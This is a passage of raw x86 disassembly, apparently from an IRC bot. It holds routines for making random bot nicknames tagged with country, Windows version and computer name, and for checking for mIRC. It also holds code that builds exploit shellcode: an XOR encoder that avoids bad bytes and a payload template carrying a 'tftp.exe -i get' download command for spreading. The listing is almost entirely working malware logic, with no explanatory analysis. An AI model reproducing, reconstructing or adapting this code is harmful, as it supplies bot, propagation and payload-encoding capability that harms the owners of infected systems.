		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4E0918
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40A001
		sub	ecx, 32h
		jz	loc_409FFA
		sub	ecx, 48h
		jz	short loc_409F95
		sub	ecx, 6Eh
		jz	short loc_409F8E
		push	eax
		push	offset unk_44538C


loc_409F7D:				; CODE XREF: sub_409F35+91j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		jmp	short loc_409FDB
; ---------------------------------------------------------------------------


loc_409F8E:				; CODE XREF: sub_409F35+40j
		push	offset unk_445338
		jmp	short loc_409FCD
; ---------------------------------------------------------------------------


loc_409F95:				; CODE XREF: sub_409F35+3Bj
		push	[ebp+var_8]
		call	sub_418ED0
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B190
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_409FC8
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4E0918
		cmp	eax, edi
		jz	short loc_40A001
		push	eax
		push	offset unk_4452DC
		jmp	short loc_409F7D
; ---------------------------------------------------------------------------


loc_409FC8:				; CODE XREF: sub_409F35+79j
		push	offset unk_445308


loc_409FCD:				; CODE XREF: sub_409F35+5Ej
					; sub_409F35+CAj
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx


loc_409FDB:				; CODE XREF: sub_409F35+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_41458A
		pop	ecx


loc_409FEB:				; CODE XREF: sub_409F35+CEj
					; sub_409F35+E2j
		push	esi
		call	sub_419940
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_409FFA:				; CODE XREF: sub_409F35+32j
		push	offset unk_44535C
		jmp	short loc_409FCD
; ---------------------------------------------------------------------------


loc_40A001:				; CODE XREF: sub_409F35+29j
					; sub_409F35+89j
		cmp	[esi], edi
		jbe	short loc_409FEB
		lea	ebx, [esi+4]


loc_40A008:				; CODE XREF: sub_409F35+E0j
		push	ebx
		call	dword_4E0914
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A008
		jmp	short loc_409FEB
sub_409F35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A019	proc near		; CODE XREF: sub_401CC1+1D7Fp
					; sub_401CC1+1ECDp ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E0848
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4E09CC
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B740
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40A019	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A072	proc near		; CODE XREF: .nsp0:0040B8D0p
					; sub_411ED9+24Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40A09B
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40A08E:				; CODE XREF: sub_40A072+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40A08E
		pop	edi
		jmp	short loc_40A09F
; ---------------------------------------------------------------------------


loc_40A09B:				; CODE XREF: sub_40A072+Aj
		mov	edx, [esp+4+arg_0]


loc_40A09F:				; CODE XREF: sub_40A072+27j
		test	esi, esi
		pop	esi
		jz	short loc_40A0A9
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40A0A9:				; CODE XREF: sub_40A072+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40A072	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp-4], esi
		jle	short loc_40A0EC
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_40A0DE:				; CODE XREF: .nsp0:0040A0E6j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40A0DE
		pop	edi
		cmp	eax, 1


loc_40A0EC:				; CODE XREF: .nsp0:0040A0D2j
		jnz	short loc_40A0F9
		mov	al, [edx]
		mov	[ebp-4], al
		movzx	eax, word ptr [ebp-4]
		add	esi, eax


loc_40A0F9:				; CODE XREF: .nsp0:loc_40A0ECj
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40A112	proc near		; CODE XREF: sub_40A4F6+49p
					; DATA XREF: .nsp0:off_4453D8o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_4F1364	; GetTickCount
		push	eax
		call	sub_41B840
		call	sub_41B850
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+0Ch+arg_0]
		push	off_445440[edx*4]
		push	offset aS_28	; "%s"
		push	1Ch
		push	edi
		call	sub_41B910
		xor	esi, esi
		add	esp, 14h
		cmp	dword_43A098, esi
		jle	short loc_40A179


loc_40A153:				; CODE XREF: sub_40A112+65j
		call	sub_41B850
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI_0	; "%s%i"
		push	1Ch
		push	edi
		call	sub_41B910
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43A098
		jl	short loc_40A153


loc_40A179:				; CODE XREF: sub_40A112+3Fj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40A112	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		call	dword_4F1364	; GetTickCount
		push	eax
		call	sub_41B840
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	aXx ; "XX-"
		push	offset aS_29	; "%s"
		push	1Ch
		push	edi
		call	sub_41B910
		xor	esi, esi
		add	esp, 10h
		cmp	dword_43A098, esi
		jle	short loc_40A1D7


loc_40A1B1:				; CODE XREF: .nsp0:0040A1D5j
		call	sub_41B850
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI_1	; "%s%i"
		push	1Ch
		push	edi
		call	sub_41B910
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43A098
		jl	short loc_40A1B1


loc_40A1D7:				; CODE XREF: .nsp0:0040A1AFj
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40A1DC	proc near		; CODE XREF: sub_401CC1+606Cp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_4F1364	; GetTickCount
		push	eax
		call	sub_41B840
		pop	ecx
		call	sub_41B850
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_43A098
		test	esi, esi
		jle	short loc_40A21F


loc_40A209:				; CODE XREF: sub_40A1DC+41j
		call	sub_41B850
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40A209


loc_40A21F:				; CODE XREF: sub_40A1DC+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40A1DC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, offset aPc_0 ; "PC"
		mov	dword ptr [ebp-4], 100h
		xor	edi, edi
		call	dword_4F1364	; GetTickCount
		push	eax
		call	sub_41B840
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		push	esi
		call	dword_4F137C	; GetComputerNameA
		test	eax, eax
		jnz	short loc_40A25E
		mov	esi, offset aPc_1 ; "PC"


loc_40A25E:				; CODE XREF: .nsp0:0040A257j
		movsx	eax, byte ptr [esi]
		push	41h
		pop	ecx


loc_40A264:				; CODE XREF: .nsp0:0040A26Fj
		cmp	eax, ecx
		jnz	short loc_40A26B
		push	1
		pop	edi


loc_40A26B:				; CODE XREF: .nsp0:0040A266j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40A264
		push	61h
		pop	ecx


loc_40A274:				; CODE XREF: .nsp0:0040A27Fj
		cmp	eax, ecx
		jnz	short loc_40A27B
		push	1
		pop	edi


loc_40A27B:				; CODE XREF: .nsp0:0040A276j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40A274
		test	edi, edi
		jnz	short loc_40A28A
		mov	esi, offset aPc_2 ; "PC"


loc_40A28A:				; CODE XREF: .nsp0:0040A283j
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B910
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_43A098, esi
		jle	short loc_40A2C9


loc_40A2A3:				; CODE XREF: .nsp0:0040A2C7j
		call	sub_41B850
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI_2	; "%s%i"
		push	1Ch
		push	edi
		call	sub_41B910
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43A098
		jl	short loc_40A2A3


loc_40A2C9:				; CODE XREF: .nsp0:0040A2A1j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_4F1364	; GetTickCount
		push	eax
		call	sub_41B840
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	dword_4F1380	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset aS_30	; "%s|"
		push	1Ch
		push	edi
		call	sub_41B910
		xor	esi, esi
		add	esp, 10h
		cmp	dword_43A098, esi
		jle	short loc_40A33E


loc_40A318:				; CODE XREF: .nsp0:0040A33Cj
		call	sub_41B850
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI_3	; "%s%i"
		push	1Ch
		push	edi
		call	sub_41B910
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43A098
		jl	short loc_40A318


loc_40A33E:				; CODE XREF: .nsp0:0040A316j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_4E09E8
		mov	dword ptr [ebp-94h], 94h
		call	dword_4F1384	; GetVersionExA
		call	dword_4F1364	; GetTickCount
		push	eax
		call	sub_41B840
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40A3C8
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40A3A8
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40A398
		mov	esi, offset a95	; "95"


loc_40A398:				; CODE XREF: .nsp0:0040A391j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40A404
		mov	esi, offset aNt	; "NT"
		jmp	short loc_40A404
; ---------------------------------------------------------------------------


loc_40A3A8:				; CODE XREF: .nsp0:0040A388j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40A3B8
		mov	esi, offset a98	; "98"
		jmp	short loc_40A404
; ---------------------------------------------------------------------------


loc_40A3B8:				; CODE XREF: .nsp0:0040A3AFj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40A3FF
		mov	esi, offset aMe_0 ; "ME"
		jmp	short loc_40A404
; ---------------------------------------------------------------------------


loc_40A3C8:				; CODE XREF: .nsp0:0040A37Fj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40A3FF
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40A3E1
		mov	esi, offset a2k	; "2K"
		jmp	short loc_40A404
; ---------------------------------------------------------------------------


loc_40A3E1:				; CODE XREF: .nsp0:0040A3D8j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40A3F1
		mov	esi, offset aXp_1 ; "XP"
		jmp	short loc_40A404
; ---------------------------------------------------------------------------


loc_40A3F1:				; CODE XREF: .nsp0:0040A3E8j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset a2k3 ; "2K3"
		jz	short loc_40A404


loc_40A3FF:				; CODE XREF: .nsp0:0040A3BFj
					; .nsp0:0040A3CFj
		mov	esi, offset a???_0 ; "???"


loc_40A404:				; CODE XREF: .nsp0:0040A39Fj
					; .nsp0:0040A3A6j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset aS_31	; "[%s]|"
		push	1Ch
		push	edi
		call	sub_41B910
		xor	esi, esi
		add	esp, 10h
		cmp	dword_43A098, esi
		jle	short loc_40A448


loc_40A422:				; CODE XREF: .nsp0:0040A446j
		call	sub_41B850
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI_4	; "%s%i"
		push	1Ch
		push	edi
		call	sub_41B910
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43A098
		jl	short loc_40A422


loc_40A448:				; CODE XREF: .nsp0:0040A420j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A44E	proc near		; CODE XREF: sub_40A4F6+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	dword_4F1364	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40A49D
		push	offset aMirc_0	; "mIRC"
		call	dword_4E08AC
		test	eax, eax
		mov	eax, offset aM_0 ; "[M]"
		jnz	short loc_40A486
		mov	eax, offset dword_4E09EC


loc_40A486:				; CODE XREF: sub_40A44E+31j
		push	eax
		push	esi
		push	offset aDS	; "[%d]%s"
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B910
		add	esp, 14h
		jmp	short loc_40A4C2
; ---------------------------------------------------------------------------


loc_40A49D:				; CODE XREF: sub_40A44E+1Dj
		push	offset aMirc_1	; "mIRC"
		call	dword_4E08AC
		test	eax, eax
		mov	eax, offset aM_1 ; "[M]"
		jnz	short loc_40A4B6
		mov	eax, offset dword_4E09F0


loc_40A4B6:				; CODE XREF: sub_40A44E+61j
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx


loc_40A4C2:				; CODE XREF: sub_40A44E+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_418D00
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40A4F1
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C7A0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B1F0
		add	esp, 18h


loc_40A4F1:				; CODE XREF: sub_40A44E+82j
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40A44E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4F6	proc near		; CODE XREF: sub_4019E1+7Fp
					; sub_401B49+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_4453D4


loc_40A502:				; CODE XREF: sub_40A4F6+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40A51D
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C4C0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40A527
; ---------------------------------------------------------------------------


loc_40A51D:				; CODE XREF: sub_40A4F6+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40A527:				; CODE XREF: sub_40A4F6+25j
		test	eax, eax
		jnz	short loc_40A539
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_44544C
		jl	short loc_40A502
		jmp	short loc_40A547
; ---------------------------------------------------------------------------


loc_40A539:				; CODE XREF: sub_40A4F6+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_4453D8[eax*4]
		pop	ecx


loc_40A547:				; CODE XREF: sub_40A4F6+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40A55A
		push	[ebp+arg_0]
		call	sub_40A44E
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40A55A:				; CODE XREF: sub_40A4F6+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40A4F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A55F	proc near		; CODE XREF: sub_40A57F+Ap
					; sub_40A657+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418D00
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418D00
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_40A55F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A57F	proc near		; CODE XREF: .nsp0:0040A6B7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40A55F
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40A59C
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A59C:				; CODE XREF: sub_40A57F+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_418D00
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_418D00
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_4491C4, eax
		lea	eax, [edi+1]
		mov	dword_4491E5, eax
		lea	eax, [edi+17h]
		mov	dword_4491DD, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_449160
		push	ebx
		mov	dword_4491F3, eax
		call	near ptr sub_41C8D0
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	near ptr sub_41C8D0
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	near ptr sub_41C8D0
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	near ptr sub_41C8D0
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	near ptr sub_41C8D0
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	near ptr sub_41C8D0
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_4491E9
		push	esi
		call	near ptr sub_41C8D0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A57F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A657	proc near		; CODE XREF: .nsp0:0040A67Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40A55F
		push	eax
		call	sub_40A6DB
		add	esp, 0Ch
		retn
sub_40A657	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+10h]
		push	edi
		mov	edi, [ebp+14h]
		push	edi
		push	ebx
		call	sub_40A657
		cmp	eax, [ebp+0Ch]
		pop	ecx
		pop	ecx
		ja	short loc_40A68E
		cmp	eax, 0FFFFh
		jbe	short loc_40A692


loc_40A68E:				; CODE XREF: .nsp0:0040A685j
		xor	eax, eax
		jmp	short loc_40A6D7
; ---------------------------------------------------------------------------


loc_40A692:				; CODE XREF: .nsp0:0040A68Cj
		push	esi
		push	edi
		push	ebx
		call	sub_40A55F
		add	eax, 101h
		push	eax
		call	sub_418ED0
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_40A55F
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40A57F
		push	eax
		push	esi
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40A6F6
		push	esi
		mov	edi, eax
		call	sub_419940
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_40A6D7:				; CODE XREF: .nsp0:0040A690j
		pop	edi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40A6DB	proc near		; CODE XREF: sub_40A657+Ep
					; sub_40A6F6+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40A6E4
		inc	ecx


loc_40A6E4:				; CODE XREF: sub_40A6DB+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40A6DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6F6	proc near		; CODE XREF: .nsp0:0040A6C4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_40A712
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_40A712
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_40A712
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_40A715


loc_40A712:				; CODE XREF: sub_40A6F6+8j
					; sub_40A6F6+Ej ...
		inc	[ebp+arg_C]


loc_40A715:				; CODE XREF: sub_40A6F6+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_40A73D
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40A736
		cmp	al, 0Dh
		jz	short loc_40A736
		cmp	al, 5Ch
		jz	short loc_40A736
		test	al, al
		jnz	short loc_40A73D


loc_40A736:				; CODE XREF: sub_40A6F6+32j
					; sub_40A6F6+36j ...
		add	[ebp+arg_C], 100h


loc_40A73D:				; CODE XREF: sub_40A6F6+28j
					; sub_40A6F6+3Ej
		push	[ebp+arg_C]
		call	sub_40A6DB
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_40A755
		cmp	eax, 0FFFFh
		jbe	short loc_40A75C


loc_40A755:				; CODE XREF: sub_40A6F6+56j
		xor	eax, eax
		jmp	loc_40A7FA
; ---------------------------------------------------------------------------


loc_40A75C:				; CODE XREF: sub_40A6F6+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4E09F4
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_40A78C


loc_40A770:				; CODE XREF: sub_40A6F6+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_40A783
		cmp	al, 0Ah
		jz	short loc_40A783
		cmp	al, 0Dh
		jz	short loc_40A783
		cmp	al, 5Ch
		jnz	short loc_40A787


loc_40A783:				; CODE XREF: sub_40A6F6+7Fj
					; sub_40A6F6+83j ...
		inc	bl
		xor	edx, edx


loc_40A787:				; CODE XREF: sub_40A6F6+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_40A770


loc_40A78C:				; CODE XREF: sub_40A6F6+78j
		cmp	ecx, esi
		mov	byte_4E09F4, bl
		ja	short loc_40A7B8
		push	15h
		push	offset loc_449148
		push	[ebp+arg_0]
		mov	byte_449155, cl
		mov	byte_449159, bl
		call	near ptr sub_41C8D0
		add	esp, 0Ch
		push	15h
		jmp	short loc_40A7D9
; ---------------------------------------------------------------------------


loc_40A7B8:				; CODE XREF: sub_40A6F6+9Ej
		push	17h
		push	offset loc_449130
		push	[ebp+arg_0]
		mov	word_44913E, cx
		mov	byte_449143, bl
		call	near ptr sub_41C8D0
		add	esp, 0Ch
		push	17h


loc_40A7D9:				; CODE XREF: sub_40A6F6+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_40A7F5
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_40A7E7:				; CODE XREF: sub_40A6F6+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_40A7E7


loc_40A7F5:				; CODE XREF: sub_40A6F6+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_40A7FA:				; CODE XREF: sub_40A6F6+61j
		pop	esi
		leave
		retn
sub_40A6F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A7FD	proc near		; CODE XREF: sub_40141B+375p
					; sub_40141B+3B1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4535C8


loc_40A805:				; CODE XREF: sub_40A7FD+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40A819
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4E05C8
		jl	short loc_40A805
		jmp	short loc_40A864
; ---------------------------------------------------------------------------


loc_40A819:				; CODE XREF: sub_40A7FD+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_4535C8[esi]
		push	eax
		call	sub_41B1F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_4537C8[esi], eax
		and	dword_4537CC[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_4537D0[esi], 0
		mov	dword_4537D4[esi], eax
		and	byte_4537E0[esi], 0
		pop	esi


loc_40A864:				; CODE XREF: sub_40A7FD+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40A7FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A868	proc near		; DATA XREF: sub_401CC1+24C3o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_40A8BA
		push	[ebp+var_14]
		call	sub_40AB19
		add	esp, 14h
		push	0
		call	dword_4F1388	; ExitThread
		pop	edi
		pop	esi
sub_40A868	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8BA	proc near		; CODE XREF: sub_40A868+38p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_449224
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_4535C8


loc_40A8E4:				; CODE XREF: sub_40A8BA+78j
		cmp	byte ptr [esi],	0
		jz	short loc_40A925
		cmp	[ebp+arg_C], 0
